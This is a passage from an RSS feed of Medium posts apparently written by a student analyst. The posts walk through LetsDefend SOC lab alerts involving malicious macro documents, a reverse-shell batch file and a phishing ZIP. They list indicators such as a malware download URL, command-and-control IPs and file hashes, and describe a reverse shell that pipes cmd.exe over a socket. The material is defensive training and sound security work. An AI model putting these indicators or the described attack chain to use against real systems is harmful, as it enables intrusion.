file.</p><p>Although this correlation was significant, the network connection occurred later than the original alert, so I did not claim that the Excel macro definitively initiated the connection.</p><p>The endpoint was subsequently contained.</p><h3>12. Final Verdict</h3><p>Based on the malware analysis, IOC correlation, endpoint investigation, and network evidence, the SOC138 alert was classified as:</p><blockquote><strong><em>True Positive</em></strong></blockquote><p>The LetsDefend playbook was completed successfully.</p><h3>LetsDefend Playbook Result</h3><p><strong>Result:</strong> True Positive<br> <strong>Playbook Score:</strong> 15<br> <strong>Success Rate:</strong> 100%</p><h3>Playbook Answers</h3><ul><li><strong>C2 Access:</strong> Accessed</li><li><strong>Malware Analysis:</strong> Malicious</li><li><strong>Malware Quarantined/Cleaned:</strong> Not Quarantined</li><li><strong>Endpoint Containment:</strong> Completed</li><li><strong>Artifact:</strong> MD5 hash added</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGMDKJLGY1rcz7sfNprrZw.png" /></figure><h3>Conclusion</h3><p>This investigation demonstrated how a SOC analyst can investigate a suspicious Office document by combining multiple sources of evidence.</p><p>The investigation involved:</p><ul><li>Alert triage</li><li>Excel macro analysis</li><li>VirusTotal</li><li>Hash verification</li><li>IOC investigation</li><li>Network log analysis</li><li>Endpoint investigation</li><li>PowerShell analysis</li><li>Timeline correlation</li><li>Endpoint containment</li><li>Incident classification</li></ul><p>The most important lesson from this investigation was the importance of <strong>correlation</strong>.</p><p>A malicious file, a suspicious PowerShell command, and a matching network indicator can provide strong evidence, but an analyst should still examine <strong>when the activity occurred and whether the events can actually be connected</strong>.</p><p>This helps prevent unrelated historical or coincidental activity from being incorrectly attributed to an incident.</p><h3>Connect With Me</h3><p><strong>GitHub:</strong><br> <a href="https://github.com/Ajaydevs007">https://github.com/Ajaydevs007</a></p><p><strong>LinkedIn:</strong><br> <a href="http://www.linkedin.com/in/ajaydev-s">www.linkedin.com/in/ajaydev-s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16adeabbed8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating a Malicious File/Script Download Attempt — LetsDefend SOC137 Walkthrough]]></title>
            <link>https://medium.com/@ajaydevsv/investigating-a-malicious-file-script-download-attempt-letsdefend-soc137-walkthrough-844bb62367c0?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/844bb62367c0</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Thu, 17 Sep 2026 02:48:09 GMT</pubDate>
            <atom:updated>2026-09-17T02:48:09.811Z</atom:updated>
            <content:encoded><![CDATA[<p>A practical SOC investigation covering malicious document analysis, PowerShell, IOC investigation, network correlation, and incident response.</p><h3>Introduction</h3><p>In this LetsDefend SOC lab, I investigated <strong>SOC137 — Malicious File/Script Download Attempt</strong>.</p><p>The alert involved a suspicious Microsoft Word macro-enabled document named:</p><p>INVOICE PACKAGE LINK TO DOWNLOAD.docm</p><p>The investigation involved analyzing the file through VirusTotal, examining its macro behavior, checking network activity, investigating the affected endpoint, and determining whether the alert represented a genuine security incident.</p><h3>1. Initial Alert</h3><p>The alert provided the following information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*efnEELj0rz-M1uBaMC6a6w.png" /></figure><h3>2. Analyze the Malicious Document</h3><p>I submitted the file hash/file sample to VirusTotal for further analysis.</p><p>VirusTotal showed:</p><p><strong>40/65 security vendors flagged the file as malicious.</strong></p><p>The file was identified as a malicious Microsoft Office document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3wVSyHWbgNXrInmRQRSFEg.png" /></figure><h3>3. Macro Analysis</h3><p>The VirusTotal analysis provided important behavioral information.</p><p>The document contained a macro named:</p><p>AutoOpen</p><p>AutoOpen is significant because it can execute automatically when the document is opened.</p><p>The analysis indicated that the macro uses the VBA Shell function to execute a PowerShell command.</p><p>The PowerShell command was heavily obfuscated and was designed to download another file from a remote location.</p><p>The observed chain was:</p><p>Word Document<br> ↓<br>AutoOpen Macro<br> ↓<br>VBA Shell<br> ↓<br>PowerShell<br> ↓<br>Remote Download<br> ↓<br>Potential Payload Execution</p><h3>4. Investigating Network Indicators</h3><p>VirusTotal showed multiple contacted IP addresses and domains.</p><p>However, an important SOC principle is:</p><blockquote><em>VirusTotal network activity occurs in the VirusTotal analysis environment and should not automatically be treated as traffic from the affected endpoint.</em></blockquote><p>Therefore, I checked the available Log Management data rather than assuming that every VirusTotal IP was contacted by NicolasPRD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cY2SRrB1u3LHmS0iMDOp-g.png" /></figure><h3>5. Historical Network Activity</h3><p>During the endpoint investigation, historical network activity was identified from:</p><p>172.16.17.37</p><p>One event showed:</p><p>Source : 172.16.17.37:48463<br>Destination : 49.51.12.195:443<br>Process : powershell.exe<br>Request URL : iliuryeqa.info<br>Request Method : GET<br>Device Action : Allowed<br>Parent Process : wmiprvse.exe<br>Time : 2021–03–07 19:20:57</p><p>The domain was also investigated and VirusTotal identified malicious/phishing detections for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLSutv3MhgoWgdAZCBI8oA.png" /></figure><h3>6. Suspicious PowerShell Activity</h3><p>The endpoint’s Terminal History also contained a highly obfuscated PowerShell command.</p><p>The command used:</p><ul><li>PowerShell execution-policy bypass</li><li>Hidden window</li><li>Non-interactive execution</li><li>Obfuscated strings</li><li>Base64-encoded data</li><li>Compression/decompression</li><li>Dynamic command construction</li></ul><p>This is highly suspicious behavior.</p><p>However, the timestamp was:</p><p><strong>2021–03–07</strong></p><p>while the SOC137 alert occurred on:</p><p><strong>2021–03–14 19:15:52</strong></p><p>Therefore, I did <strong>not</strong> directly attribute this PowerShell activity to the SOC137 alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ULYH3YdKFxVuOI6dlDBzGg.png" /></figure><h3>7. DLL Execution</h3><p>The endpoint history also showed:</p><p>This indicates that rundll32.exe was used to invoke DllRegisterServer from a DLL located in the user&#39;s temporary directory.</p><p>This activity is suspicious, particularly when considered alongside the PowerShell and network activity.</p><p>However, once again, the activity occurred on <strong>March 7</strong>, not during the March 14 SOC137 alert.</p><h3>8. Timeline Correlation</h3><p>This was one of the most important parts of the investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*kmlz_CxHWhuf-1qOaPI7uQ.png" /></figure><p>The March 7 activity was therefore treated as <strong>historical suspicious activity</strong>, rather than confirmed evidence of execution of the March 14 malicious document.</p><p>This demonstrates an important SOC investigation principle:</p><blockquote><strong><em>Same endpoint + suspicious activity does not automatically mean the activity belongs to the current alert.</em></strong></blockquote><p>Temporal correlation is essential.</p><h3>MITRE ATT&amp;CK Mapping</h3><p>The SOC137 alert was mapped to:</p><p><strong>T1204 — User Execution</strong></p><p>T1204 covers techniques where an attacker relies on a user to execute a malicious file or content.</p><p>In this investigation, the relevant artifact was a malicious macro-enabled Word document:</p><pre>INVOICE PACKAGE LINK TO DOWNLOAD.docm</pre><p>The document contained an AutoOpen macro capable of executing PowerShell through the VBA Shell function.</p><p>The relevant execution chain observed during malware analysis was:</p><pre>Malicious DOCM<br>      ↓<br>AutoOpen Macro<br>      ↓<br>VBA Shell<br>      ↓<br>PowerShell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*Td_hn1y9az3bg3ZERRVcmQ.png" /></figure><h3>Analyst Note</h3><p>During the investigation, the SOC137 alert on <strong>NicolasPRD (</strong><strong>172.16.17.37)</strong> was confirmed as a malicious file download attempt involving INVOICE PACKAGE LINK TO DOWNLOAD.docm.</p><p>VirusTotal identified the document as malicious, with <strong>40/65 security vendors</strong> detecting it. The document contained an AutoOpen macro capable of using the VBA Shell function to execute an obfuscated PowerShell command and download another payload.</p><p>The file hash investigated was:</p><pre>f2d0c66b801244c059f636d08a474079</pre><p>The download attempt associated with the March 14 alert was <strong>blocked</strong>, and no matching outbound communication associated with the alert was identified in the available Log Management data.</p><p>Historical suspicious activity was found on the same endpoint on <strong>March 7</strong>, including obfuscated PowerShell execution, rundll32.exe executing oo2ofzo5.dll, and network communication with iliuryeqa.info / 49.51.12.195. Because this activity occurred seven days before the SOC137 alert, it was treated as <strong>historical activity and not directly correlated with the March 14 incident</strong>.</p><p>The final investigation result was:</p><blockquote><strong><em>True Positive</em></strong></blockquote><p>This investigation reinforced the importance of <strong>timeline correlation</strong> when determining whether suspicious activity belongs to a specific security alert.</p><h3>9. Containment</h3><p>The original SOC137 alert showed:</p><p><strong>Device Action: Blocked</strong></p><p>Endpoint Security also showed that endpoint containment was not enabled.</p><p>The playbook ultimately classified the malware as <strong>Quarantined</strong>, consistent with the blocked malicious download.</p><h3>10. Final Verdict</h3><p>The malicious document was confirmed as malicious through VirusTotal analysis.</p><p>The document contained an AutoOpen macro capable of launching an obfuscated PowerShell command and downloading another payload.</p><p>The SOC137 download attempt was <strong>blocked</strong>.</p><p>No matching outbound communication associated with the <strong>March 14 alert</strong> was identified in the available Log Management data.</p><p>The historical March 7 activity was documented separately because it could not be temporally correlated with the March 14 alert.</p><p>Therefore, the final classification was:</p><blockquote><strong><em>True Positive</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsYDgIaZAdBh8_I1_Z1ijA.png" /></figure><h3>Conclusion</h3><p>This investigation demonstrated the importance of combining:</p><ul><li>Alert triage</li><li>Malware analysis</li><li>VirusTotal</li><li>IOC investigation</li><li>Network correlation</li><li>Endpoint investigation</li><li>PowerShell analysis</li><li>Timeline correlation</li><li>Containment verification</li></ul><p>The most important lesson was that <strong>correlation requires more than finding suspicious activity on the same machine</strong>. The timestamp and relationship between events must also support the conclusion.</p><h3>Connect With Me</h3><p><strong>GitHub:</strong><br><a href="https://github.com/Ajaydevs007">https://github.com/Ajaydevs007</a></p><p><strong>LinkedIn:</strong><br><a href="http://www.linkedin.com/in/ajaydev-s">www.linkedin.com/in/ajaydev-s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=844bb62367c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating a Malicious File Found Across Multiple Endpoints — LetsDefend SOC132 Walkthrough]]></title>
            <link>https://medium.com/@ajaydevsv/investigating-a-malicious-file-found-across-multiple-endpoints-letsdefend-soc132-walkthrough-737236579f9e?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/737236579f9e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Wed, 16 Sep 2026 07:35:00 GMT</pubDate>
            <atom:updated>2026-09-16T07:35:00.110Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Security Operations Center (SOC) analysts regularly investigate alerts involving suspicious or malicious files detected across multiple endpoints.</p><p>In this LetsDefend lab, the alert was triggered because the <strong>same malicious file was identified on multiple sources</strong>.</p><p>The investigation involved:</p><ul><li>Initial alert triage</li><li>File hash analysis</li><li>VirusTotal investigation</li><li>Malware behavior analysis</li><li>C2 identification</li><li>Log Management correlation</li><li>Endpoint investigation</li><li>PowerShell activity analysis</li><li>Malware containment verification</li><li>IOC documentation</li><li>Final alert classification</li></ul><p>The investigation ultimately resulted in a <strong>True Positive</strong> classification.</p><h3>Alert Overview</h3><p>The investigation began with <strong>Event ID 68</strong>, generated by the rule:</p><blockquote><strong><em>SOC132 — Same Malicious File Found on Multiple Sources</em></strong></blockquote><p>The alert was categorized as <strong>Malware</strong> and had a <strong>Medium</strong> severity.</p><h3>Alert Information</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50U8ZMuHMlEvtIu5zwhK3A.png" /><figcaption><em>Figure 1 — Initial SOC alert showing the malicious </em><em>msi.bat file detected across multiple sources.</em></figcaption></figure><h3>Investigation Process</h3><h3>Step 1 — Initial Alert Triage</h3><p>The first step was to understand what triggered the alert and identify the available investigation artifacts.</p><p>The alert indicated that the same file, msi.bat, had been detected on multiple sources.</p><p>The important initial indicators were:</p><p>File: msi.bat<br>MD5: 3dc649bc1be6f4881d386e679b7b60c8<br>Source IP: 172.16.17.14<br>Hosts: MikeComputer, JohnComputer, Sofia<br>Action: Cleaned</p><p>The <strong>Cleaned</strong> action indicated that the endpoint security control had already taken remediation action against the detected file.</p><p>At this stage, however, the investigation still needed to determine:</p><ul><li>Whether the file was actually malicious</li><li>What the file was capable of doing</li><li>Whether it communicated with external infrastructure</li><li>Whether there was evidence of C2 communication internally</li><li>Whether the affected endpoints showed related activity</li></ul><h3>Step 2 — Malware Analysis Using VirusTotal</h3><p>The file hash was investigated using VirusTotal to obtain additional information about the sample.</p><p>VirusTotal identified the corresponding sample using the following SHA-256:</p><pre>7538b8a61dd42c874e7e153dad02c528f06c397344e70de01fdc98a5c28030bf</pre><p>The sample was detected by:</p><pre>16/60 security vendors</pre><p>Several detections associated the file with malicious Python, backdoor, and reverse-shell classifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjXbXv92mxQGzyRJDnoZcw.png" /><figcaption><em>Figure 2 — VirusTotal multi-engine analysis showing detections for the </em><em>msi.bat sample.</em></figcaption></figure><h3>Step 3 — Behavioral Analysis</h3><p>VirusTotal’s analysis provided more useful information than simply the vendor detection count.</p><p>The behavioral analysis indicated that the code creates a socket connection to:</p><pre>81.68.99.93:443</pre><p>The analysis described two threads:</p><pre>p2s<br>s2p</pre><p>The p2s thread reads output from a cmd.exe process and sends it through the socket.</p><p>The s2p thread receives data from the socket and writes it to the standard input of cmd.exe.</p><p>This behavior is consistent with a <strong>reverse shell</strong>, where commands can be passed to a command shell through a remote connection.</p><p>The important behavior identified was therefore:</p><pre>Remote socket<br>      ↓<br>cmd.exe<br>      ↓<br>stdin / stdout<br>      ↓<br>Remote communication</pre><p>This provided strong evidence that the file was malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QjXbXv92mxQGzyRJDnoZcw.png" /><figcaption>Figure 3 — VirusTotal behavioral analysis describing socket communication with cmd.exe, consistent with reverse-shell functionality.</figcaption></figure><h3>Step 4 — Identify the C2 Indicator</h3><p>The behavioral analysis identified:</p><pre>81.68.99.93:443</pre><p>as the remote address used by the sample during analysis.</p><p>For the investigation, this was treated as a <strong>potential C2 indicator observed during sandbox analysis</strong>.</p><p>It is important to distinguish this from confirmed internal communication.</p><p>VirusTotal demonstrated that the <strong>sample communicated with this address in its analysis environment</strong>.</p><p>It did not by itself prove that the organization’s endpoints communicated with the same address.</p><h3>Step 5 — Internal Log Correlation</h3><p>The next step was to determine whether the identified IP address appeared in the organization’s available network logs.</p><p>The first search was:</p><pre>Destination Address equals &quot;81.68.99.93&quot;</pre><p>Result:</p><pre>0 events found</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkEJYzuVr1SN0p39nUAjUQ.png" /><figcaption>Figure 4 — Log Management search for the C2 address returned no matching events.</figcaption></figure><h3>Source-to-Destination Correlation</h3><p>Additional searches were performed using the available internal source addresses together with the identified destination.</p><p>Examples included:</p><pre>Source Address = 172.16.17.14<br>Destination Address = 81.68.99.93</pre><p>and searches involving the other internal addresses reviewed during the endpoint investigation.</p><p>All returned:</p><pre>0 events found</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owAcaKF2nnuWKRsKKlBnEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZyIeSzsOw-sDY5veFF0rng.png" /><figcaption>Figure 5 — Additional source-to-destination searches produced no matching network events.</figcaption></figure><h3>Step 6 — Endpoint Investigation</h3><p>The next stage was reviewing endpoint activity associated with the affected systems.</p><p>The investigation focused on:</p><ul><li>MikeComputer</li><li>JohnComputer</li><li>Sofia</li></ul><p>The objective was to determine whether related process or command activity occurred around the alert timeframe.</p><h3>MikeComputer</h3><p>A suspicious PowerShell command was identified on MikeComputer.</p><p>The command used encoded PowerShell:</p><pre>powershell -e ...</pre><p>The command contained heavily obfuscated content and therefore appeared suspicious.</p><p>However, the activity did <strong>not align temporally with Event ID 68</strong>.</p><p>Because there was no temporal correlation with the alert, this activity was not attributed to the current malware incident.</p><p>This is an important SOC investigation principle:</p><blockquote><em>Suspicious activity does not automatically mean related activity.</em></blockquote><p>An analyst should establish correlation using factors such as:</p><ul><li>Timestamp</li><li>Host</li><li>Process</li><li>File</li><li>Hash</li><li>Network connection</li><li>User</li><li>Parent process</li></ul><p>In this case, the available evidence did not establish that relationship.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fC6h4nq60pCJ6bRupHccmw.png" /><figcaption><em>Figure 6 — Suspicious encoded PowerShell activity identified on MikeComputer but excluded from the current investigation due to lack of temporal correlation.</em></figcaption></figure><h3>Step 7 — JohnComputer Investigation</h3><p>JohnComputer was also reviewed for suspicious activity.</p><p>No suspicious activity relevant to Event ID 68 was identified during the investigation.</p><p>This reduced the amount of evidence linking the endpoint to additional malicious activity beyond the original file detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U5b_Ol15rNgIspkszSJ1aA.png" /></figure><h3>Step 8 — Sofia Investigation</h3><p>A suspicious encoded PowerShell command was also identified on Sofia.</p><p>The command contained obfuscated PowerShell code and multiple encoded components.</p><p>However, similar to the MikeComputer finding, the event did not temporally align with Event ID 68.</p><p>Therefore, it was not attributed to this incident.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KcqYVPH7gAcvZDFdJUWO8g.png" /><figcaption>Figure 8 — Suspicious encoded PowerShell activity identified on Sofia but not correlated with the Event ID 68 timeframe.</figcaption></figure><h3>Step 9 — Malware Containment Verification</h3><p>The original alert showed:</p><pre>Device Action: Cleaned</pre><p>The playbook therefore confirmed that the malware had been cleaned/quarantined.</p><p>This provided evidence that the endpoint security control had already performed remediation.</p><h3>Step 10 — IOC Documentation</h3><p>The investigation produced the following indicators:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Kx6FAROYUcOfTpZsR6v4vA.png" /></figure><p>The IP address should be treated as a <strong>potential C2 indicator observed during malware analysis</strong>, rather than confirmed C2 communication from the organization’s endpoints.</p><h3>Step 11 — Analyst Assessment</h3><p>After completing the investigation, the evidence supported the following assessment:</p><h3>Confirmed</h3><ul><li>The file msi.bat was detected across multiple sources.</li><li>The endpoint security control reported the file as cleaned.</li><li>VirusTotal classified the sample as malicious.</li><li>16/60 vendors detected the sample.</li><li>The sample demonstrated reverse-shell-like behavior.</li><li>The sample contacted 81.68.99.93:443 in VirusTotal analysis.</li><li>No matching access to that IP was found in the available Log Management data.</li><li>Suspicious PowerShell events were identified on two endpoints but did not correlate with the incident timeframe.</li></ul><h3>Not established</h3><p>There was no evidence in the available logs proving that the affected endpoints successfully established a C2 connection to 81.68.99.93.</p><p>This distinction is important when documenting a SOC investigation.</p><h3>Final Verdict</h3><h3>TRUE POSITIVE</h3><p>The alert was classified as a <strong>True Positive</strong>.</p><p>The file was confirmed malicious through multi-engine analysis and behavioral evidence, while the endpoint security system had already reported the file as cleaned.</p><p>Although the malware sample demonstrated reverse-shell behavior in VirusTotal, the available internal Log Management data did not show corresponding access to the identified remote address.</p><p>Therefore, the evidence supports a genuine malware detection, but <strong>does not establish successful C2 communication from the monitored environment</strong>.</p><h3>MITRE ATT&amp;CK</h3><p>The LetsDefend alert associated the incident with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*yWe352Cgy0s5KZmVrVxYWg.png" /></figure><p>Because the alert itself provided <strong>T1204</strong>, this is the safest mapping to document for the lab.</p><p>We should <strong>not add additional ATT&amp;CK techniques merely because the malware appears capable of them</strong> unless the lab evidence establishes those behaviors in the investigated environment.</p><h3>Indicators of Compromise</h3><h3>MD5</h3><pre>3dc649bc1be6f4881d386e679b7b60c8</pre><h3>SHA-256</h3><pre>7538b8a61dd42c874e7e153dad02c528f06c397344e70de01fdc98a5c28030bf</pre><h3>Malicious File</h3><pre>msi.bat</pre><h3>Potential C2 Address</h3><pre>81.68.99.93:443</pre><h3>Key SOC Takeaways</h3><h3>1. Validate alerts with multiple sources</h3><p>A malware alert should be investigated using endpoint telemetry, network logs, threat intelligence, and malware-analysis platforms where appropriate.</p><h3>2. Don’t confuse malware capability with confirmed compromise</h3><p>A sandbox can show what malware <strong>can do</strong>.</p><p>That doesn’t automatically prove that the same activity occurred on the organization’s endpoints.</p><h3>3. Temporal correlation matters</h3><p>Suspicious PowerShell activity can be genuinely malicious while still being unrelated to the incident under investigation.</p><h3>4. Negative results are useful</h3><p>A search returning zero network events is still an important investigation result.</p><p>It helps establish what evidence was and wasn’t observed.</p><h3>5. Containment doesn’t end the investigation</h3><p>Even when an endpoint security product reports that a file was cleaned, the analyst should still investigate whether execution or related activity occurred.</p><h3>Conclusion</h3><p>This investigation demonstrated a practical SOC workflow for handling a malicious-file alert affecting multiple sources.</p><p>The investigation moved from:</p><p><strong>Alert → Triage → Malware Analysis → IOC Extraction → C2 Investigation → Log Correlation → Endpoint Investigation → Containment Verification → Final Classification</strong></p><p>The final classification was:</p><pre>TRUE POSITIVE</pre><p>The investigation also demonstrated an important SOC principle: <strong>good analysis isn’t only about finding malicious activity; it’s also about correctly ruling out activity that cannot be correlated to the incident.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=737236579f9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigating a Malicious Attachment Phishing Email | SOC114 — Malicious Attachment Detected —…]]></title>
            <link>https://medium.com/@ajaydevsv/investigating-a-malicious-attachment-phishing-email-soc114-malicious-attachment-detected-869125f78201?source=rss-76184b8cef07------2</link>
            <guid isPermaLink="false">https://medium.com/p/869125f78201</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <dc:creator><![CDATA[Ajaydevsv]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 10:23:20 GMT</pubDate>
            <atom:updated>2026-07-07T10:23:20.862Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigating a Malicious Attachment Phishing Email | SOC114 — Malicious Attachment Detected — Phishing Alert</h3><p>Phishing attacks remain one of the most effective initial access techniques used by attackers. Instead of exploiting software vulnerabilities, attackers exploit <strong>human trust</strong> by disguising malware as legitimate documents such as invoices, purchase orders, resumes, or shipping notifications.</p><p>In this LetsDefend SOC lab, I investigated a phishing email containing a <strong>password-protected ZIP attachment</strong> that successfully bypassed the email gateway and reached the user’s mailbox. The investigation didn’t stop at identifying the malicious email — I also verified whether the malware was executed, hunted for Indicators of Compromise (IOCs) in the logs, and contained the affected endpoint using the simulated EDR.</p><h3>Incident Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PqPLmeDkwyjLpKMzo8KhxA.png" /></figure><h3>Initial Alert Analysis</h3><p>The alert indicated that an email containing a suspicious attachment had been delivered to an employee.</p><p>Immediately, several red flags stood out:</p><ul><li>The email originated from an external sender.</li><li>The subject <strong>“Invoice”</strong> is one of the most commonly abused phishing lures.</li><li>The attachment was a password-protected ZIP archive.</li><li>The password (“infected”) was included inside the email.</li></ul><p>Password-protected archives are frequently used because many email security gateways cannot inspect encrypted attachments.</p><p>Since the <strong>Device Action</strong> was <strong>Allowed</strong>, I knew the email had already reached the user’s mailbox and required immediate investigation.</p><h3>Step 1 — Parse the Email</h3><p>The first task was collecting the basic email metadata.</p><h3>Email Details</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*X9BIIkZWXkhCRwwBS7i4Yg.png" /></figure><p>The email attempted to disguise itself as an invoice while delivering a compressed archive.</p><p>This immediately increased the likelihood of phishing.</p><h3>Step 2 — Analyze the Attachment</h3><p>The ZIP file was downloaded and analyzed using <strong>Hybrid Analysis</strong>.</p><p>Hybrid Analysis reported:</p><ul><li>Threat Score: <strong>100/100</strong></li><li>Verdict: <strong>Malicious</strong></li></ul><p>The sandbox classified the archive as a malicious sample.</p><p>To further validate the findings, I uploaded the file hash to VirusTotal.</p><p>VirusTotal showed:</p><ul><li>7 security vendors detected the file</li><li>Threat Label: <strong>Trojan</strong></li></ul><p>At this point, the attachment was confirmed to be malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhyG7cjhKEZ9O5FM34GjgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRcjnOPipEXLsIRqVCw6gw.png" /></figure><h3>Step 3 — Determine Whether the Email Was Delivered</h3><p>The next question was straightforward:</p><p><strong>Was the email delivered to the user?</strong></p><p>The incident details showed:</p><p><strong>Device Action = Allowed</strong></p><p>This means:</p><ul><li>The email bypassed email filtering.</li><li>The recipient received the email.</li><li>User interaction was possible.</li></ul><p>The playbook answer was:</p><p><strong>Delivered</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mlMc47vVoMWWChPYPWd_-w.png" /></figure><h3>Step 4 — Delete the Malicious Email</h3><p>Since the email had already reached the recipient’s mailbox, the next containment action was removing it.</p><p>Using the LetsDefend playbook, I deleted the phishing email from the user’s mailbox.</p><p>This prevents:</p><ul><li>Future execution</li><li>Accidental reopening</li><li>Other users accessing forwarded copies</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5e2Ui_K-jx5Iywx91LCVng.png" /></figure><h3>Step 5 — Determine Whether the Malware Was Executed</h3><p>This was the most important phase of the investigation.</p><p>Simply deleting the email is <strong>not enough</strong>.</p><p>A user may already have:</p><ul><li>opened the attachment</li><li>extracted the ZIP archive</li><li>executed the malware</li></ul><p>To answer this question, I needed to investigate Indicators of Compromise (IOCs).</p><h3>Step 6 — Collect IOCs from VirusTotal</h3><p>VirusTotal provides valuable Indicators of Compromise extracted during malware analysis.</p><p>I collected:</p><h3>Contacted IP Addresses</h3><ul><li>142.250.196.78</li><li>45.137.22.189</li><li>70.38.21.229</li></ul><h3>Contacted Domain</h3><ul><li>andaluciabeach.net</li></ul><h3>Contacted URL</h3><pre>http://andaluciabeach.net/image/network.exe</pre><p>These IOCs became the basis for my threat hunting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9zG68_Js695uKClb-UdNg.png" /></figure><h3>Step 7 — Hunt the IOCs in the Logs</h3><p>I first searched the contacted IP addresses.</p><p>No logs were returned for:</p><ul><li>142.250.196.78</li><li>45.137.22.189</li><li>70.38.21.229</li></ul><p>However, searching for the contacted domain produced a result.</p><p>Searching:</p><pre>andaluciabeach.net</pre><p>returned a Proxy log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_o2dg-DV3r6JPzp0yg3eA.png" /></figure><h3>Step 8 — Confirm Malware Execution</h3><p>The proxy log contained several important details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*0f3t3skP-YnJImh9AGZqdg.png" /></figure><p>This evidence confirmed that:</p><ul><li>the malicious attachment had been opened</li><li>Excel launched the malicious process</li><li>the malware attempted to download an executable from its command-and-control infrastructure</li></ul><p>The process chain was particularly important:</p><pre>excel.exe<br>        ↓<br>EQNEDT32.EXE<br>        ↓<br>HTTP GET<br>        ↓<br>network.exe</pre><p>This strongly indicated successful malware execution.</p><p>Therefore, the correct playbook answer was:</p><p><strong>Opened</strong></p><h3>Step 9 — Contain the Endpoint</h3><p>Since malware execution was confirmed, the next priority became containment.</p><p>Using the LetsDefend EDR console, I isolated the affected endpoint.</p><p>Host Information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*JspGi9D2F7tIbpW9vmvGmQ.png" /></figure><p>Containing the endpoint prevents:</p><ul><li>additional malware downloads</li><li>command-and-control communication</li><li>lateral movement</li><li>data exfiltration</li></ul><p>This is one of the first actions performed by SOC analysts during an active compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R1xoxf1UnyrBwH5PPaJZ7g.png" /></figure><h3>Investigation Timeline</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*UcQxMCHMAjQSDmiXf3nOsg.png" /></figure><h3>Indicators of Compromise (IOCs)</h3><h3>Email</h3><ul><li>Sender: accounting@cmail.carleton.ca</li><li>SMTP IP: 49.234.43.39</li><li>Subject: Invoice</li></ul><h3>Domains</h3><pre>andaluciabeach.net</pre><h3>URL</h3><pre>http://andaluciabeach.net/image/network.exe</pre><h3>Contacted IPs</h3><pre>142.250.196.78<br>45.137.22.189<br>70.38.21.229</pre><h3>Internal Host</h3><pre>172.16.17.45</pre><h3>Key Lessons Learned</h3><ul><li>Password-protected ZIP archives are commonly used to evade email scanning.</li><li>A malicious email being deleted does not necessarily mean the threat is gone.</li><li>IOC hunting is essential to determine whether malware has already executed.</li><li>Correlating sandbox results with proxy logs provides strong evidence of compromise.</li><li>Process relationships (such as excel.exe → EQNEDT32.EXE) are valuable indicators during investigations.</li><li>Endpoint isolation is a critical response action once execution has been confirmed.</li></ul><h3>Final Verdict</h3><p>This alert was a <strong>True Positive</strong>.</p><p>The phishing email successfully bypassed the email gateway and reached the recipient. 